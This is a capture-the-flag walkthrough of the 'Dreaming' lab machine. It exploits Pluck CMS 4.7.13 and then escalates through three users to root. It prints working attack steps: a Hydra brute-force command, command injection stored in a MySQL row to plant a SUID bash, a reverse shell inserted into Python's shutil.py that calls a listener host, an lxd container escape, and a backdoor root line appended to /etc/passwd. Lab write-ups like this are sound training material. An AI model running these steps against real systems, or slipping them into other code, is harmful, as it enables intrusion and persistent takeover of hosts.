Dreaming

Solve the riddle that dreams have woven. - by tokyo and b1d0ws

The following post by 0xb0b is licensed under CC BY 4.0

Recon

We start off with a Nmap scan and are able to detect two open ports. On port 22, it is running SSH, and on port 80, it is running an HTTP server.

For the sake of simplicity, we added our target machine to the /etc/hosts file as dreaming.thm. We hit up Nmap again with a service and default script scan to retrieve some more information. It's running OpenSSH 8.2p1 and an Apache 2.4.41 web server.

We directly hit up Gobuster to enumerate the directories on the web server. There is just one thing we have. The directory app.

By visiting the root of the page, we are greeted with the Apache2 default web page.

Ok, next, we get to the directory app. Here we have a directory listing for /app/pluck-4.7.13/.

Pluck is a small and simple content management system (CMS), written in PHP. With Pluck, you can easily manage your own website. Pluck focuses on simplicity and ease of use. This makes Pluck an excellent choice for every small website. Licensed under the General Public License (GPL), Pluck is completely open source. This allows you to do with the software whatever you want, as long as the software stays open source.

There, we are able to include files via the parameter file.

We checked for LFI, but it was detected as such an approach and mitigated.

Using FuFF to fuzz for some possbile file inclusion payloads does not lead to a desired result.

While trying to abuse the file inclusion, another Gobuster scan is run to detect more of /app/pluck-4.7.13/ since there are no links present.

We dive deeper into the directories...

... and are able to spot some interesting .php pages in the settings directory.

For now there are two pages of interest. The login.php and pass.php pages. But pass.php does not reveal anything on plain sight and since we can't use LFI we move on to the login.php page.

Foothold

With a quick lookup of version 4.7.13 of Pluck CMS, CVE 2020-29607 is found. A file upload restriction bypass vulnerability leading to Remote Code Execution (RCE). So we stay a bit longer at login.php for now to make use of the exploit.

CVE-2020-29607

A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality, which may result in remote code execution.

After some quick research, a PoC can easily be found at exploit.db:

But a password is required. After trying some arbitrary credentials, we get the message password incorrect. With that in mind, we hit up Hydra to brute force our way through, but quickly see that we will fail there.

Since we brute-force a password-only login form the following resource can be helpful:

After running the command, we only get hits. Everything seems a valid password. Dang.

hydra -L /usr/share/wordlists/rockyou.txt -P '' dreaming.thm http-post-form "/app/pluck-4.7.13/login.php:cont1=cont1=^USER^&bogus=&submit=Log+in:Password incorrect"

We looked up the official GitHub repo. Maybe we are able to spot default credentials, but we did not find anything of interest

Using Burp Suite to check the password by hand, we see that we now have to wait 5 minutes before we are able to try to log in again.

With a bit of luck by guessing the password we are able to log in. password:p******d. Keep in mind, this is redacted.

Now that we are able to log in, we chose the following PoC to get us a fully fledged pseudoshell environment:

After executing the exploit, the shell is available at http://dreaming.thm:80/app/pluck-4.7.13/files/shell.phar

We are www-data, but we cannot yet spot any flags.

For more control, a reverse shell is used. We make use of the nc mkfifo reverse shell from revshells.com.

We catch the reverse shell. After upgrading it, we move on.

For a quick enumeration LinPEAS is used.

We spot four users, of whom three are related to the flags.

There is a local MySQL instance running.

An we are able to spot some interesting files in root and /opt.

While enumerating the web folder, pass.php stands out. It contains a password hash.

With the use of hashid to analyze the found hash, the possibility of it being an SHA-512 hash is there.

Looking for the correct mode. Mode 1700 is the choice to crack SHA-512 using hashcat.

And we see that it was the password that was necessary to initially login. So the intended way might be to make use of the LFI to reach out to pass.php. In an updated version of the writeup I hope to catch up and show this step.

Privilege Escalation

The next major section concerns extending the rights for each individual user and should be gone through in order. Please do not look in the unintentional section until you have already solved the challenge.

Lucien

Let's first take a look at the files in /opt that LinPEAS found. Those are owned by the user death and lucien. Since the first flag is about the user lucien we start to inspect test.py owned by the user.

It is a script used to check the credentials of himself on the CMS. Maybe those are being reused. let's check if we can change to the user lucien with this.

We are able to change to the user lucien, using the found credentials in the script. Heading to the home directory of the user we spot the first flag.

Death

Since we have the credentials of user lucien we will access the machine now via SSH to have an even more stable shell.

While enumerating the target, we see that we are able to execute the script getDreams.py as the user death using sudo, which is located in the user's home directory.

Looking at the owned files by death we first see that we aren't able to read the version lying in the home directory. But recalling our enumeration as www-data there is another version in /opt/getDreams.py.

Oh, and there is a Python library /usr/lib/python3.8/shutil.py, which the user death has write access to. Interesting. This might come in handy later.

It is a script to fetch the contents of the table dreams from a MySQL database running locally and print to the console output. Unfortunately, the password is redacted here.

/opt/getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

Just for confirmation, we run the script in the home directory of death. And it seems like it behaves like the version in /opt.

Looking at the .bash_history (also found by linpeas) of the user lucien we are able to spot MySQL credentials for the user lucien instead of death. But let's see what we can do with it.

lucien@dreaming:~$ cat .bash_history

Using the MySQL credentials of the user lucien we are able to log in to the local MySQL instance that is running. We spot five databases, of which the library is the most interesting.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

We use the database library and inspect the tables. Only dreams are present, like the one in the script

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+

And the input is the same as the output of the script. We are moving in the right direction.

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+

Recalling the script, an echo command is being executed, built with the contents of dreamer and dream. Since there is no sanitization, we are able to inject our own commands. For this, we make use of command substitution. First, we tried to just execute /bin/bash, but that behaved wonky, so we chose a different approach. We copy /bin/bash to /tmp/bash and add a SUID bit. Since the script is executed by the user death, the created file at /tmp/bash is owned by death. With that, we are able to get a shell as the user death.

command = f"echo {dreamer} + {dream}"

INSERT INTO dreams (dreamer, dream) VALUES ('0xb0b','$(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash)');

The table should look like this now.

+---------+------------------------------------------------+
| dreamer | dream                                          |
+---------+------------------------------------------------+
| Alice   | Flying in the sky                              |
| Bob     | Exploring ancient ruins                        |
| Carol   | Becoming a successful entrepreneur             |
| Dave    | Becoming a professional musician               |
| 0xb0b   | $(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash) |
+---------+------------------------------------------------+
5 rows in set (0.00 sec)

We run sudo -u death /usr/bin/python3 /home/death/getDreams.py after making the entry in the database, and the bash is copied to /tmp.

Now, with executing /tmp/bash -p we now have a shell as death.

Next, we head to the home directory of the user and find his flag there.

Morpheus

As the user death we are now able to spot his credentials being used for MySQL. Those are also being reused. So we are able to log in via SSH as user death.

From the enumeration of www-data a strange file in the root directory was found, kingdom_backup. So maybe a cron job using a backup script is running that we can abuse.

Since the flag is about the user morpheus we look up all files owned by the user. We see an interesting script, restore.py, in his home directory.

With the help of pspy64, we are able to spot that the script is running regularly as the user morpheus, so this might be our entry point.

Fortunately, we are able to read the script. It just copies the contents of /home/morpheus/kingdom to /kingdom_backup/kingdom and makes use of shutil.

But wait a moment, from our previous enumeration, we saw shutil.py was owned by death.

Recalling our enumeration for compromising the user death:

So, to be able to use an editor like Nano, we use the credentials found in the script at the home directory of death to log in via SSH.

From there, we edit /usr/lib/python3.8/shutil.py and its contents to establish a reverse shell at the function copy2, which is being used. Keep in mind of the correct indentation. It has to be four spaces.

/usr/lib/python3.8/shutil.py
import os
import pty
import socket

...

def copy2(src, dst, *, follow_symlinks=True):
    lhost = "10.8.211.1"
    lport = 4443
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()

After setting up a netcat listener, we are able to catch a reverse shell as the user morpheus. The final flag can be found in his home directory.

The Unintended (Bonus)

The unintended privilege escalation requires you to gain access as the user lucien. This user is not only part of the group sudo but also of the group LXD. This might be patched in the future.

LXD is a container hypervisor for Linux systems that provides a lightweight, user-friendly interface for managing and running system containers. It leverages the Linux kernel's containerization features to offer a secure and efficient way to deploy and manage multiple isolated Linux containers on a single host.

Further resources on lxd/lxc group privilege escalation can be found at hacktricks (especially Method 2: building an Alpine image offline on your attack machine and providing it to the victim):

This attempt is based on the following write-up from a different challenge, where a misconfigured LXD container is created, where we have root access to it, and we escape this afterwards.

From our LinPeas enumeration, we see that we are part of the lxd group.

Also, we see some processes run by lxd.

For our exploit to work, we have to build a lxd image first. The LXD Alpine Linux Image Builder can be found here:

git clone https://github.com/saghul/lxd-alpine-builder.git

After building the image, we should get a TAR file containing it.

We use our Python web server to retrieve the archive.

We import the Alpine image using lxc image import FILENAME.tar.gz --alias alpine

Afterwards, we confirm with lxc image list that it has been successfully imported.

Before we move on, lxd has to be initialized, using the default values is completely sufficient.

Next, the image has to be initialized, and the security.privileged=true flag has to be added so that it runs as root. Furthermore, a mounting point to the root of the file system inside the container has to be set.

Then we start the container and confirm that it is running. The name juggernaut is used in the referenced write-up and could be anything else.

lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list
  • lxc init alpine juggernaut -c security.privileged=true initializes a new container named 'juggernaut' based on the 'alpine' image, and it sets the container to run in privileged mode using the option '-c security.privileged=true'.

  • lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true adds a disk device named 'gimmeroot' to the 'juggernaut' container using LXD. This device mounts the root directory from the source '/' to the path '/mnt/root' within the container, with the 'recursive=true' option enabling the process to apply recursively.

Now with that misconfigured container, we can drop into a root shell. From there, we can break out.

lxc exec juggernaut sh

We are root in the container and are able to navigate to the mount point /mnt/root, our target.

We are able to interact with the file system and access the /etc/shadow file.

We generate a simple password, for a new root user called r00t, which will be added to the /etc/passwd file.

openssl passwd password

Append the entry to the /etc/passwd file.

echo 'r00t:.HfPUJhMXHr2A:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd

After adding the user r00t to the /etc/passwd file, we can switch to that user and gain elevated privileges to access various files on the system.

Last updated